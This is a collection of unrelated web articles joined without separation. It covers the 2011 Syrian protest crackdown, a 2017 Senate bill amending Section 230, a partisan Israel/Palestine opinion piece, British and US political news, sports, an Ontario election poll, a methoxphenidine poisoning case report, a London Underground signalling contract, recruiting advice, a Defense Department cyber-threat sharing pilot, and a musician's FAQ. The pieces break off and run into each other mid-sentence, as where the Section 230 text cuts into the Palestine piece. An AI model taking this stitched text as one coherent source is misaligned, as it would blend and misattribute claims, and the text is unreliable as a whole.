"This outrageous use of violence to quell protests must come to an end now," the president said in a statement.
UK Foreign Secretary William Hague said he was "extremely concerned" by reports of deaths and casualties across Syria and urged restraint on the country's authorities.
"Political reforms should be brought forward and implemented without delay," he said. "The Emergency Law should be lifted in practice, not just in word."
Live ammunition
Protesters - said to number tens of thousands - chanted for the overthrow of the regime, Reuters news agency reports.
Video images coming out of Syria show footage of many confrontations where live ammunition was used.
President Bashar al-Assad's lifting of the emergency had been seen as a concession to the protesters.
In their first joint statement since the protests broke out, activists co-ordinating the mass demonstrations demanded the establishment of a democratic political system.
Political unrest in Syria developed after revolts elsewhere in the Arab world, which saw the downfall of the Tunisian and Egyptian presidents and an ongoing civil war in Libya.
At least 260 people are said to have died since it began last month.
'Rain of bullets'
The state news agency Sana said only that security forces had used tear gas and water cannon "to prevent clashes between protesters and citizens and protect public property", and "some" people had been injured.
Analysis The crowds across Syria are proof if any was needed that Mr Assad's concessions were belated and too symbolic. Some protesters may have seen them as a sign of weakness and felt emboldened. They may be right on some level - the violent reaction from security forces shows the Syrian authorities are becoming increasingly nervous about the crowds. But the persistence of the demonstrations shows the growing strength and confidence of the protest movement. There is also a newfound sense of community in Syria where people kept apart by fear for years in a police state are finding comfort and strength in numbers on the street. This Friday's protests had been in the making for a week. Activists told me they did not expect much from Mr Assad. They also fear that if they do not keep up the pressure, they will lose momentum. Their demands vary and not all want the removal of Mr Assad. With the protesters and the Syrian president both eager to show they are not going anywhere, the confrontation may only get bloodier.
Deaths were reported by opposition activists and witnesses in Ezra, a village near the flash-point southern town of Deraa, and the Douma suburb of Damascus, as well as the Damascus district of Barzeh, the city of Homs and other areas of the country.
In Ezra, shooting began when protesters marched to the village mayor's office, and one of the dead is said to be a boy of 11.
"Bullets started flying over our heads like heavy rain," a witness was quoted as saying by the Associated Press news agency.
A witness in Douma told Reuters he had helped carry three people with bullet wounds to their legs.
One resident in Homs, a city of 700,000 people in the west, told the BBC she had heard shooting and believed three separate protests were under way in the city.
"The security forces are just dispersing the protesters using live bullets," said the resident, who did not wish to be named.
In Hama, a city in central Syria similar in size to Homs, security forces are said to have also opened fire on a crowd of protesters.
International news organisations are largely refused entry to Syria at the moment, limiting the scope of the information they can gather about events there.
The demands issued by the "Syrian local organising committees" include:
An end to torture, killings, arrests and violence against demonstrators
Three days of state-sanctioned mourning for deaths so far
An independent investigation into the deaths of protesters and judicial proceedings in the light of evidence revealed
Release of all political prisoners
Reform of Syria's constitution, including a two-term presidential limit
'Armed insurrection'
Before the latest violence, the government insisted it was heeding protesters' demands and President Assad was pushing through a programme of reforms.
Thursday's concessions included abolishing state security courts and allowing peaceful protests but other laws give the government wide-ranging powers to detain activists and suppress dissent.
The new law requires Syrians to seek permission from the interior ministry for demonstrations. Some lawyers have said this continues to restrict the freedom of assembly in the same way as the emergency law.
President Assad said last week there would be no more "excuse" for demonstrations once the state of emergency had been lifted.
Damascus has also accused Islamist militants, or Salafists, of waging an "armed insurrection" in Homs and Baniyas.
Overall, the unrest poses the gravest threat to President Assad's rule since he succeeded his father Hafez 11 years ago.A new anti-Section 230 bill, the Stop Enabling Sex Traffickers Act of 2017, will be introduced in the Senate imminently, perhaps tomorrow. [UPDATE: It has been introduced as S. 1693]. It is being introduced by six senators (Senators Portman, Blumenthal, McCain, McCaskill, Cornyn, and Heitkamp), and I’ve been told there will be many other co-sponsors.
The Senate bill would create new exceptions to Section 230 for sex trafficking-related claims. The bill covers the same territory as Rep. Wagner’s “Allow States and Victims to Fight Online Sex Trafficking Act of 2017” bill. Though the Wagner bill contained additional problematic provisions, the Senate bill will have the same deleterious consequences for Section 230 and free speech online.
Given the significant co-sponsor support for these bills, it’s pretty clear Congress is on the cusp of gutting Section 230. This is the threat we’ve always knew was coming to Section 230, and in a jiffy, we’re already way behind in trying to save Section 230’s principal benefits.
What the Senate Bill Says
The Senate bill would make the following main substantive changes to Section 230:
1) Adding a new exclusion to Section 230’s immunity for “any State criminal prosecution or civil enforcement action targeting conduct that violates a Federal criminal law prohibiting (i) sex trafficking of children; or (ii) sex trafficking by force, threats of force, fraud, or coercion.”
2) Excluding 18 USC 1595 from Section 230’s immunity. 18 USC 1595 is a federal civil cause of action for sex trafficking victims against the bad guys and “whoever knowingly benefits, financially or by receiving anything of value from participation in a venture which that person knew or should have known has engaged in an act in violation of this chapter.”
3) Adding a new definition to 18 USC 1591 (the same provision that the SAVE Act amended–more on the SAVE Act in a moment), which criminalizes receiving money from sex trafficking, to expand the definition of “participation in a venture” to “include knowing conduct by an individual or entity, by any means, that assists, supports, or facilitates the violation.”
How The Senate Bill Differs From the Wagner Bill
From first circulated draft to introduced draft, the Wagner bill expanded to add a number of additional victim-advocate wish-list items. The Senate bill doesn’t include as many of those wish-list items:
* the Wagner bill would exclude state crimes related to “sexual exploitation of children” from Section 230. The Senate bill lacks this exclusion.
* both bills would exclude civil claims for sex trafficking from Section 230, but the Wagner bill would also exclude civil claims related to “sexual exploitation of children.”
* the Wagner bill would create a new 18 USC 1591 crime specifically targeting intermediaries.
* the Wagner bill also proposes to modify the definition of “participation in a venture,” but using more plaintiff-favorable language than the Senate bill.
* the Wagner bill has more onerous changes to Section 230’s policy statements.
So on balance, the Senate bill omits some of the worst policy ideas from the Wagner bill, but both bills are extremely troublesome. If the Wagner bill is a 10 on the worrisome-meter, the Senate bill is a 9.5.
Problems With the Bill
In my blog post on the Wagner bill, I asked numerous questions about the bill. I’ll recapitulate those questions and ask some new ones here:
* what online services will be regulated other than Backpage? The press release accompanying the Senate bill draft references Backpage a half-dozen times. Is this law only about making sure a single company, Backpage, is dead dead dead? Or will the bill reach other online services? If so, who? The most likely answer is that this law potentially implicates every online service that deals with user-generated content, which would make this an unusually wide-ranging bill.
* what |
roachment into Palestine and “put the two-state solution in jeopardy;” a ‘solution’ that Republicans completely abandoned in the RNC platform last summer because it is contrary to Benjamin Netanyahu’s warmongering.
“Today the Security Council reaffirmed its established consensus that settlements have no legal validity. The United States has been sending a message that settlements must stop privately and publicly for nearly five decades.”
If America wants to stop Israel’s aggression into Palestine, it first has to stop giving Israel military aid they are using to wage war on innocent Palestinians. Of course, now that there is an incoming occupant of the White House, and Senate minority leader, willing to do Netanyahu’s bidding and continue giving him billions more in military aid, the concept of a two-state solution, or peace for Palestinians, is fundamentally over.
At least now the rest of the world will realize that for a little while there was a White House Administration that was unwilling to allow an Israeli foreigner to dictate American foreign policy in the Middle East or support and defend Israel’s aggression and illegal annexation of Palestinian lands. All that changes after January 20 when Benjamin Netanyahu, like Russian Vladimir Putin, will have an obedient and willing lap dog in the White House and a senate minority leader representing the interests of Israel and have access to American taxpayers’ money to fund more Israeli aggression toward Palestinians.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:WASHINGTON: Indians studying in American educational institutions should not be kicked out as the country needs smart people like them, Republican presidential front-runner Donald Trump has said as he sought to set the record straight about his immigration policies."Whether we like that or not, they pay, et cetera, et cetera but we educate a lot of people, very smart people. We need those people in the country," Trump, 69, told Fox News in an interview when asked about his views on legal immigration."They cannot come into the country. You know, they go to Harvard, they are first in their class and they're from India they go back to India and they setup companies and they make a fortune and they employ lots of people and all of that," he said."Many people want to stay in this country and then want to do that. I think somebody that goes through years of college in this country we shouldn't kick them out the day they graduate, which we do," Trump said clarifying his position on certain aspect of H-1B visas Trump has been widely accused of having an "all or nothing" stance when it comes to immigrants. There are about the roughly 11 million undocumented immigrants in the United States.He has been advocating the scrapping of the H-1B visa programme from the beginning of his campaign as he thinks it is "very unfair" for American workers and has been taking away their jobs.IT professionals from India and major Indian IT companies are beneficiary of H-1B, a non-immigrant visa in the US which allows US employers to temporarily employ foreign workers in speciality occupations.Liverpool have received a major boost as Sadio Mane has returned to full training with the first team. The Senegalese winger took part in his first training session at Melwood today since he suffered a hamstring injury last month.
Mane was initially expected to be out for a total of six weeks but has recovered two weeks ahead of schedule which might have delighted manager Jurgen Klopp. The 25-year-old who missed the past five games for Liverpool is still set to be out for the game against West Ham this weekend as he builds up his fitness.
Reverse flip flap and nutmeg
🆚
Beautiful backheel@DanielSturridge or Sadio Mane - whose goal do you prefer?
More: https://t.co/jImSS4c3M0 pic.twitter.com/ev1awWRnjg — Liverpool FC (@LFC) November 3, 2017
However, he is definitely in contention to make a return for Liverpool against his former club Southampton after the international break on November 18. Mane suffered the injury in the closing stages of Senegal's 2-0 World Cup qualifying win over Cape Verde Islands in October.
Mane also suffered a three match ban earlier in the season for his red card against Manchester City.Secretary of State Rex Tillerson will visit London on Friday to express condolences to the victims of the Manchester terrorist attack on behalf of the American people.
"The Secretary will reaffirm America's commitment to the Special Relationship between the United States and the United Kingdom and our solidarity in defeating terrorism in every part of the world," said State Department spokesperson Heather Nauert in a statement.
The attack, which came at the end of an Arianna Grande concert on Monday, killed at least 22 people and injured over 60.
U.K. upset about Manchester investigation leaks
President Trump reacted to the attack by condemning the terrorists during his first international trip, as part of his remarks with the Palestinian Authority President Mahmoud Abbas.
"I won't call them monsters, because they would like that term," said Mr. Trump. "They're losers. And we'll have more of them. But they're losers. Just remember that."
Tillerson, who was already planning to peel off from the rest of Mr. Trump's foreign trip on Friday, will land in a country on high alert. British Prime Minister Theresa May has directed the military and to work with the police to avoid another imminent attack. Deployments of security personnel were ramped up across the country.
Meanwhile, Britain has suspended intelligence sharing with the U.S. due to a series of leaks from American sources to the press in the wake of the Manchester attack. May and Mr. Trump are meeting in Brussels, at a NATO summit, on Thursday, where sharing intelligence in on the agenda.
"I will be making clear to President Trump today that intelligence that is shared between law enforcement agencies must remain secure," May said.
This unplanned visit will be Tillerson's first visit to the UK as Secretary of State. Tillerson and his British counterpart, Foreign Minister Boris Johnson, have met before, but this is also the first time they will take questions together from the press.
Their last joint appearance was set to happen in March when Johnson was in Washington for an anti-ISIS meeting at the State Department. At the last moment, however, they had to cancel the appearance, as reports broke of an man with a knife carried out attacks outside the UK Parliament.
That attack killed 5 people, including the attacker, and injured more than 40 others.British intelligence have reportedly foiled a plot by Islamic extremists to assassinate Prime Minister Theresa May.
The disrupted plot against May included an explosive device that terrorists planned to detonate in front of May’s residence on Downing Street, according to Sky News.
“It is in essence an extreme Islamist suicide plot against Downing Street,” Sky correspondent Martin Brunt said.
“Essentially police believe that the plan was to launch some sort of improvised explosive device at Downing Street and in the ensuing chaos attack and kill Theresa May, the Prime Minister.”
The plot was just one in a number of planned attacks this year that cops and British security services have been able to prevent, Sky said.
It was not clear Tuesday night what stage the plot was in or if any suspects have been arrested.Wynne Maintaining Clear Lead, Now Holds Upper Hand
[Ottawa – May 23, 2014] – The Ontario provincial campaign has settled into a pretty locked-in pattern. With a fairly high incidence of undecided voters (18 per cent), however, things could easily change and voters may be finding it hard to choose between distinct agendas: one focussed on pretty dramatic change, one focussed on minimal government and austerity (which our broader polling shows to be increasingly unpopular with a skeptical public), and a strong activist government model.
This choice would appear to favour Wynne, but it is confounded by another important layer to this election and that is regime fatigue and ethical issues surrounding the Liberal government under Dalton McGuinty’s leadership. It is notable that Andrea Horwath’s gambit of seemingly giving priority to regime fatigue and ethics in her decision to pull the plug on the government has been a major strategic error. Although there is still room for change, the locked-in pattern of this first part of the campaign does not augur well for her resuscitation. Voters have clearly been turned off by her decision here and nothing she has done to date has reversed her precipitous pratfall following her decision to vote down the government. The angry, regime-fatigued voters are squarely in Tim Hudak’s camp and the pro-activist camp sees Wynne as a more plausible champion.
Clearly, all of this can still change and six points is by no means a comfortable lead. It is, however, significant and stable and the locked-in quality suggests that this is more than just a blip or an un-reflected voter response. While it would be early to say that this looks like a Liberal victory brewing, they clearly have the upper hand at this stage and there aren’t a lot of obvious factors that could radically disrupt this pattern. Of course, there are still major factors to play out such as the debate and the possibility of major faux pas by one of the party leaders.
Probing the demographic and regional constituencies for the parties further reinforces the sense or steady state (at this time). Apart from seeing the anomalous Liberal lead in the North recede (this was clearly an artefact of that “one in twenty” thing we try and remind readers of), there is a high level of consistency to the regional and demographic patterns seen here. These patterns also suggest that Wynne doesn’t suffer any obvious likely voter deficits in the demographics of her vote. All of her key constituencies are either as or more likely to turnout given past patterns. Hudak also has a solid turnout constituency but we frankly don’t see a likely voter turnout advantage here.
On the crucial question of turnout, which will probably be the key factor shaping the final outcome of this election, demographics are instructive but at least as important is emotional engagement. Wynne is playing to the emotions of security and hope. Hudak and Horwath are tapping anger (the former more successfully). Hudak also appears to be appealing to that hopey-changey thing which is unusual, but interesting. Whether this works or not will probably be a critical factor in whether he wins voter favour. The evidence to date is that it isn’t really working – yet.
Demographics patterns stable
The demographic patterns underlying party support appear to have changed little over the last week. Liberal and PC support both increase progressively with age, while support for the NDP and the Green Party seems to do the opposite. The Liberals continue to hold a clear lead with women, while the PCs are maintaining the narrowest of leads with men. The Liberals have all but won the battle for the university educated, although results suggest a much tighter race among high school and college graduates. The Liberals continue to enjoy a strong lead in the Greater Toronto Area while the PCs lead in Northeast, Central, and Eastern Ontario (given the small samples sizes in these areas, however, regional results should be interpreted with caution).
A final note on methodology
This will be the last iteration of our more basic vote intention monitoring and we feel very comfortable that our polling is a scientifically accurate portrait of what all voters are intending at this stage. But only half of these voters will actually show up and providing a reasoned conjecture of who those will be will be an additional focus of our next polls. We can say with confidence that the Green Party isn’t really going to quadruple its performance in all likelihood. The more important challenge will be understanding what is the potential for change and shifting and which of the current constituencies which actually show up to vote on election day.
Methodology
This study was conducted using Interactive Voice Response (IVR) technology, which allows respondents to enter their preferences by punching the keypad on their phone, rather than telling them to an operator.
In an effort to reduce the coverage bias of landline only RDD, we created a dual landline/cell phone RDD sampling frame for this research. As a result, we are able to reach those with a landline and cell phone, as well as cell phone only households and landline only households. This methodology is not to be confused with the increasing proliferation of non-probability opt-in online panels which have recently been incorrectly reported in major national media with inappropriate margin of error estimates.
The field dates for this survey are May 16-23, 2014. In total, a random sample of 1,215 Ontario residents aged 18 and over responded to the survey (including a sub-sample of 1,002 decided voters). The margin of error associated with the total sample is +/-2.8 percentage points, 19 times out of 20.
Please note that the margin of error increases when the results are sub-divided (i.e., error margins for sub-groups such as sex, age, education and region). All the data have been statistically weighted by gender, age, and education to ensure the sample’s composition reflects that of the actual population of Ontario according to Census data.
Click here for the full report: Full Report (May 23, 2014)
TweetGlasgow Labour councillor Russell Robertson has defected to The SNP - two months after revealing that he supports Scottish independence.
The official announcement will be made today at an event in Glasgow for activists, which Nicola Sturgeon will attend.
Leader of the SNP group Susan Aitken will speak about Mr Robertson’s transition before the First Minister takes to the stage.
Mr Robertson is the second former Labour councillor to join the SNP in the last two years.
Councillor Stephen Dornan became an SNP councillor in December 2014 after campaigning first for Better Together then Yes Scotland in the run up to the Scottish independence referendum.
The latest defection does not affect Labour’s control of the local authority. Mr Russell takes the number of SNP opposition councillors to 29. Labour has 44.
SNP group leader Ms Aitken said: “I’m very pleased to welcome Russell. In the interactions I’ve had with him, he’s always been very decent. He’s got a good reputation as a local councillor. He’s very highly regarded by community groups as hard working, which I think isn’t necessarily the case for all of the Labour councillors.”
Mr Robertson, who represents Glasgow’s East Centre ward, declared his support for Scottish independence in an impassioned Facebook post in November.
He said: “That was when I came out the political closet, as it were. I’ve now come out of the closet twice in my life.
“It built up after my post on Facebook. I was disillusioned with Westminster, the Smith Commission, The vow not being met and Scotland being short changed.
“It’s been a journey and I’ve moved on from Labour. It’s about looking forward now, not back.”
Mr Robertson’s move was rubber stamped by the SNP yesterday after a series of meetings.
Ms Aitken said: “He and I spoke. He said he’d made the decision (to defect). I told him to think very hard about it and that he needed to be absolutely clear that this was definitely what he wanted.
“I told him there was no guarantees about selection, if that’s what he was thinking. The only people who decide who gets to stand for the SNP are the members of the SNP.
“So, I told him if his motivation is anything other than to come across and genuinely campaign for the SNP and for independence then he should think twice.
“I told him to take a couple of days and he did. He came back to me and said he definitely wanted to do it.”
Mr Robertson added: “For me it’s about how we run Glasgow and I feel being part of the SNP group and the party as a whole is about change.
“I feel the SNP are fresh and they’re about listening. That’s been the drivers for me to join.
“I also believe that if SNP members in the group come up with ideas they’ll be acted on.”
Ms Aitken added: “I thought he was very sincere when he talked about the shift he’d made and the realisation he’d come to about wanting to be part of the SNP and to campaign for independence.
“That’s all we’re looking for. Anybody who wants to join us and campaign in good faith and sincerity for independence, we’re delighted to have them.”The Conclusion of the "Story of Hong Gildong" takes us from the household drama of last episode to a story that spans the entirety of the Korean peninsula, with Gildong earning his title of the Korean Robin Hood. It then moves beyond Korea to mythical lands, where Gildong battles demons and becomes a doctor. Or pretends to be a doctor. I mean, it's a frontier setting in the 1600s, let's not split hairs. It's basically the same thing.
The creature this time, is cactus cat. It's a cat who wants to get drunk and party like it's 1910.
The awesome source for this episode: https://amzn.com/0143107690
Looking to build a website? Weebly is pretty great! Check out http://www.weebly.com/myths
Make fantastic meals with Blue Apron: http://www.blueapron.com/legends
Music:
All music by Blue Dot Sessions and Poddington Bear. Except for the awesome chip tune song by Role Music.Introduction. Methoxphenidine is a novel dissociative designer drug of the diarylethylamine class which shares structural features with phencyclidine (PCP), and is not at present subject to restrictive regulations. There is very limited information about the acute toxicity profile of methoxphenidine and the only sources are anonymous internet sites and a 1989 patent of the Searle Company. We report a case of analytically confirmed oral methoxphenidine toxicity. Case details. A 53-year-old man was found on the street in a somnolent and confusional state. Observed signs and symptoms such as tachycardia (112 bpm), hypertension (220/125 mmHg), echolalia, confusion, agitation, opisthotonus, nystagmus and amnesia were consistent with phencyclidine-induced adverse effects. Temperature (99.1°F (37.3°C)) and peripheral oxygen saturation while breathing room air (99%) were normal. Laboratory analysis revealed an increase of creatine kinase (max 865 U/L), alanine aminotransferase (72 U/L) and gamma-glutamyl transpeptidase (123 U/L). Methoxphenidine was identified by a liquid chromatography tandem mass spectrometry toxicological screening method using turbulent flow online extraction in plasma and urine samples collected on admission. The clinical course was favourable and signs and symptoms resolved with symptomatic treatment. Conclusion. Based on this case report and users’ web reports, and compatible with the chemical structure, methoxphenidine produces effects similar to those of the arylcyclohexylamines, as PCP.03 Aug 2015
UK: Transport for London announced on August 3 that it had awarded sole bidder Thales a £760m contract to renew the signalling and train control systems on London Underground's Circle, District, Metropolitan and Hammersmith & City lines.
Collectively known as the Sub-Surface Lines, the four large-profile lines form a complex network of interlinked routes with numerous junctions which comprises 40% of the London Underground network and carries 1·3 million passengers/day.
Work is expected to begin later this year. The first increase in capacity would be on the Circle Line in 2021, with the ‘main benefits’ of the project to be delivered by 2022, when the peak train frequency would increase to 32 trains/h in central London. The final improvements would come in 2023, with an increase in peak and off-peak frequencies on the Metropolitan Line.
The deal replaces a £345m contract which TfL had awarded to Bombardier in June 2011. This was terminated in December 2013, with TfL saying the ‘complex nature of the railway’ meant Bombardier's programme ‘was simply not progressing and there was no guarantee it would have worked’. The contract with Bombardier had itself replaced a previous contract awarded by Metronet to Invensys under the London Underground public-private partnership.
The latest contract represents a significant increase in cost, but TfL said it would be 18% less per km than ‘the successful modernisation of the Northern Line which was around half the cost of the Jubilee and Victoria line modernisations delivered under the flawed public-private partnership arrangements, ended by the Mayor five years ago.’
'Once completed, 60% of the London Underground will have been modernised using Thales signalling technology’, said Thales Chairman & CEO Patrice Caine.
The overall budget for Sub-Surface Lines modernisation has been confirmed as £5·41bn, a reduction of £131m from an estimate announced on March 24. This total includes the cost of 191 S-Stock trainsets ordered from Bombardier, and related platform lengthening, track and depot works. The work is to be delivered within the existing TfL Business Plan, and the programme is expected to have a benefit-cost ratio of around 4·7 to 1.
The project ‘will transform the journeys of millions of our customers, significantly increasing service reliability and frequency’, according to London Underground Managing Director Nick Brown. ‘We have a very clear delivery plan and timetable for the work and, as we have done with the modernisation of the Northern Line, we will keep London moving and growing as we do it.’
Once the Sub-Surface Lines have been modernised, work would begin to introduce new trains and control systems for the Piccadilly, Central, Bakerloo and Waterloo & City lines.As a recruiter, I encounter candidates in different stages of their job search. I talk to people who haven’t looked for a job in years, and I also talk to people who change jobs regularly. It could be personal preference/choice, or it could or it could be necessity. If you work for the State, you may never change jobs. If you are a recruiter, you may change jobs every 18 months because you have to go where the hiring is hot. If you are a Java Developer, you need to keep your skills sharp in a rapidly changing technology world. You may need to change jobs to learn new things just to keep up, and keep your skillset relevant.
The other day, a candidate fell into the bucket where she did not change jobs very often and felt very uncomfortable with the whole negotiation process. Before you say “Yes” to an offer, you need to talk about the basics such as 401k, Benefits, Time off, etc. Here are 5 things that you may have not thought of that are important questions to ask before you accept an offer.
5 Questions to Ask Before Accepting a Position
What are your expectations of me as an employee?
This sounds so basic! What happens often is that an employer will expect much more than you can give. You have made it through the process and they want you. Great. Do you want them? So- you CAN do the job. So what?! Do you have the time to do what is expected of you on a day- to- day basis. If the manager wants you to work until the job is done and you have a family that needs to be fed at 6 PM, is this going to work? No!
What is your management style?
Double & triple check this one. This should have been covered, but make sure that how they manage is how you want to be managed. Some people may need constant guidance. Some people may need to be left completely alone. Some people are very detail oriented, others may not be. Who are you? Can you work with this person? Different styles CAN complement each other and bring out the best in both, or it can be a disastrous situation.
What Do You Foresee this Department Looking Like in a Year?
So, they are going to ask you what you want to do in 5 years. Why don’t you flip the question right back on them? If you are going to be in sales, what exciting things are coming to the company that could help you in your sales efforts? This is two sided! Find out as much about what the future holds as what today holds.
Tell me about people that have been promoted?
If you are joining a company and you want to make more money in the future, how realistic is that at this company? Are you getting hired for $50k and will you make $50K the entire time you work here? Is that okay with you? It may be, but it may not align with your goals. You may get frustrated because there is no upward mobility. Do people move up within the company or is it a place where there is constant turmoil. What is the longest tenured employee that works here and in your department?
Why me?
Seriously. There is a reason they want to hire you. If you are going to succeed at this company, you need to know what you need to bring to the table. If you are a social media expert, be prepared to really help the company in that area.
What type of advice would you give to a job seeker as an HR practitioner before they accept a position?
Photo Credit.The Department of Defense is planning to extend the cyber-defense pilot program in which it shares classified threat intelligence with defense contractors and other companies.
The Defense Industrial Base Cyber-Pilot provides member organizations with classified information about viruses, malware and other cyber-threats to help them defend against sophisticated attacks and network intrusions. The pilot will be extended through mid-November, the Associated Press reported Sept. 26.
So far, the trial program involves at least 20 defense firms. There are discussions as to how it can be expanded to include more companies and subcontractors. The Department of Homeland Security (DHS) is also evaluating the program to provide similar information to defend power plants, electrical grids and other critical infrastructure from cyber-attack.
"The results this far are very promising," Deputy Defense Secretary William Lynn told AP. "I do think it offers the potential opportunity to add a layer of protection to the most critical sectors of our infrastructure."
The data collected and shared since the program launched in May has helped stop "hundreds of attempted intrusions" by identifying malware signatures, Lynn said earlier this month.
The Obama administration is interested in this kind of public-private partnership to protect United States defense companies from sophisticated cyber-attacks targeting sensitive information. A senior DHS official told AP that implementing this kind of a program would be easier if Congress would pass legislation explicitly giving DHS the lead role in helping private sector companies secure critical infrastructure.
DHS needs more authority over critical infrastructure and must be able to "mandate" risk-based performance, according to James Lewis, director of the technology and public policy program at the Center for Strategic and International Studies. Currently, the Defense Department does not have the legal authority to defend civilian systems, and Homeland Security, which oversees private-sector cyber-security, does not have the power to regulate those systems.
Rep. Dan Lungren, R-Calif., chairman of the Subcommittee on Cybersecurity, Infrastructure Protection and Security Technologies, has proposed creating a United States Computer Emergency Response Team (US-CERT) within DHS that is responsible for protecting federal and critical infrastructure systems and a non-profit organization called the National Information Security Organization that would be managed by the DHS secretary.
The nonprofit organization would have a board of directors comprising a representative from DHS, three representatives from different federal agencies that deal with cyber-security, and five representatives from the private sector that operate networks or facilities that have been deemed critical infrastructure, such as energy, water and communications networks.
There have been a number of high-profile attacks against defense companies this year, including unknown attackers who used information stolen from RSA Security to compromise Lockheed Martin, a March attack in which criminals stole files related to missile tracking systems from a defense contractor and Anonymous leaking information belonging to military personnel.
Intrusions into defense networks are now close to 30 percent of the Pentagon's Cyber Crime Center's workload, senior defense officials told AP.
More than 60,000 new malicious software programs or variations are identified every day, "threatening our security, our economy and our citizens," Defense Secretary Leon Panetta said earlier this year.FREQUENTLY ASKED QUESTIONS TIM KERR SPEAKS... ON TIM KERR RECORDS:
Tim Kerr Records is not me. (smile) I am also not the hockey player either although Austin has a great hockey team (The Ice Bats)... a Texas hockey team? Who would have thought... The first I heard of Tim Kerr Records was when a friend sent me a full page add for the label in 89 or 90? I was then pointed to a couple of reviews of the labels records in various magazines where the reviewer was referring to me. I thought the whole thing was funny. I didnt realize the extent of it until I went to my first Garage Shock and was asked about MY label repeatedly. What bothered me the most were that a couple of people had been writing to "them", thinking it was me, and then thinking I was an asshole because I was not responding. I was not responding because they were not writing to ME. (smile) I then decided that I needed to find out what was going on and address the situation only to find out that they were not going to be very cooperative in trying to clear up the problem and if I was going to do anything about it I would have to get a lawyer and go through an expensive process. It seems that they were a label from portland called T/K records... named for the first initials of the two people running it. At least that was what was told to me, but when all the majors were
scooping up indies as fast as they could in hopes of another Nirvana, T/K changed their name in fear of being sued by KC and The Sunshine Band whose lable was TK or TKO? The timing of this change added to the confusion because I (Tim Kerr... confused yet?) happened to be in Seattle for a couple of weeks recording the first Monkeywrench record when the press came out on T/K's new label name. Even people here in Texas thought it was me! (big smile) For me, I did not want to shut them down or ask for any money, I just wanted them to do something with the name to clear up what was going on or at least redirect any letters to me that were for me. After my first dealings with them Ii realized it was going to be a mess and in order to deal with it Iwould have to become a character that I detest... No! I'M tim kerr and i have done this and this...blah blah blah... The final straw was when a lawyer friend was dealing with them and was told that they (the label) could not say... not from Texas... because it would offend their Texas artist?! My response to that was that if Dave at Estrus said Estrus was not from Texas, it would'nt offend me because... duh! They arent from Texas! (big smile) The bottom line is that they could have been the type of person that sees the problem of mistaken identities and try to do what they can to set the...uh record, no pun intended (smile)... straight or they could sit back and take advantage of an opportunity that they may or may not have already known might exist. ON BANDS I HAVE BEEN A PART OF:
I am always amazed and humbled when people come up and ask me about a band or bands that I have been in. It means alot to me, that it meant so much to the person that is talking to me. Sometimes it's Poison 13, sometimes it's the other bands... It hardly is ever Bad Mutha Goose (smile) which - let me clear up this sometimes misconception here and now - is a band that I was and am really proud of, but mostly its the big boys. I can understand the impact it may have had on someone that was there at that time because it very much had to do with the times, and the bands (like Big Boys) were a part of that community. (truth be told... as proud as I am of the things I have been in or am in... The Lord High Fixers had the biggest impact on me personally spiritually and mentally) I feel lucky that I got to be a part of that late 70s/early 80s community BUT the ideas and ethos of that community are timeless and are still going on today through old and new ideas from old and young alike. Today/right now is just as significant to me (and I am not just referring to things I am involved with), as things that happened in history... or as Sun Ra says... his story. And I can not stress enough that we are all making history right now so you should stay wide open and be aware of things around you, and dont miss out of this time (now time) because you are consumed with something that has happened before. As for me - and I can only speak for me - that has been one of the underlining themes/ideas in everything that i have been involved with and i would hope that that message rings loud and clear. ON BAD BRAINS:
I have had to tell the Bad Brains/Big Boys story at least once every 5 or 6 months for the last 30 years. So much information, misinformation, peoples' "truths," and hearsay have been written, that even when facts are given, is usually accompanied by some sort of disclaimer. As Chris Gates said recently, "It's their Altamont." The Bad Brains have tried to downplay this whole Austin incident and/or put the blame for it onto us or just Biscuit. It has always been looked at by them (and others) as a gay issue, when in fact for us, that was only a small part of a bigger picture. In a scene where everything was based on community, they took money from Biscuit and defaced property of the very people who had opened their home to them (Beth and I). In all the years that people have stayed here, we have NEVER had a problem except when the Bad Brains stayed. The facts... The Bad Brains came to Austin to play a show we had set up. They stayed at our house (Beth's and mine). Most of the door money that night had gone to the Bad Brains because as always, most of the door back then would go to help out the touring band. When the show was over, HR had complimented Biscuit on the show and he then asked Biscuit if he was gay. Biscuit said yes. The HR/Bad Brains freak out began and here is where the accounts of the story get skewed by others who were not even there. Biscuit DID NOT make a "pass" at HR -- period. Beth and I were both there and this did NOT happen. In all the years we all knew Biscuit, even though he was certainly not a saint, the man never acted inappropriately. His sexuality was never at issue. Biscuit had acquired for them, in good faith and below cost, something they needed and he was told they would pay him the next day. Needless to say, after the big freakout at the show, when we all got back home, things were now uncomfortable and stressful for Beth and I. Even though we did not agree with their views we wanted to stay respectful to their beliefs for the rest of their stay with us. It most likely would have been left at that, but the next morning, while I was at work and Beth had stayed home from work, MDC came over and started it all back up again. Beth called me at work and was really upset. By the time I got home there was a yelling match going on in our little front yard. The subjects ranged from women needing to be at home, barefoot, cooking, and having babies to holy religious sermons. EVERYONE but Earl was involved not just HR. Beth was in the kitchen in tears and I had to go out and put my (shaky) foot down to stop the whole ordeal. MDC left but it still took the Bad Brains several hours to leave. We still were courteous to them, but Beth and I were both emotionally drained and the atmosphere was very uncomfortable by this point. We gave HR a foam pad for his bedroll and tried as best we could to help them speed up the process of going. When they were headed out the door HR handed Beth a thick sealed envelope addressed to Biscuit, so we did not open it. I can believe the possibility that money was put into an envelope by one of the band members as the documentary states, but in the emotionally charged atmosphere of that afternoon, and after all we all had been through the night before, I have a very hard time believing that there was ever a friendly message on the envelope as depicted in the documentary's animation. We certainly did not receive anything saying "thank you, Bad Brains." When they finally left, we discovered that they had defaced an historic poster in our bathroom that had actually gotten Raul's (an original Austin punk club) shut down. They could have easily told me it offended them and I would have covered or removed it. I also saw that the big 3d oversized post card of the pope that I was using in a painting I was working on was now gone. That escalated the whole affair for Beth and I as we had NEVER had any band take or deface something of ours. The next day when we gave Biscuit the sealed envelope that was supposed to contain the money he was owed, there was no money. There was a multi-paged letter/sermon/rant that ended with " may you burn in hell, the Bad Brains." When word got out, sides were taken, as all the zines reported on the incidents and then printed letters from readers. They stressed the gay issue rather than the whole disrespectful way we all had been treated. The Big Boys started getting mail from all over, pro and con on the gay issue even though we had never made a band issue of Biscuit being gay because, IT WAS NOT AN ISSUE. A year or so later we were finally sent the money owed by one of their crew. As hard as they try to downplay it, it really was a huge deal at that time in the DIY community. Other bands even wrote songs about it. Chris is right, it was their Altamont and became a big part of their history and some say downfall. Like Ken Burns documentaries, the Bad Brains one will become a truth and the Austin incident will become a small footnote. Just goes to show you that history is indeed his story. I'm just adding a footnote of my own for the record. ON TABS:
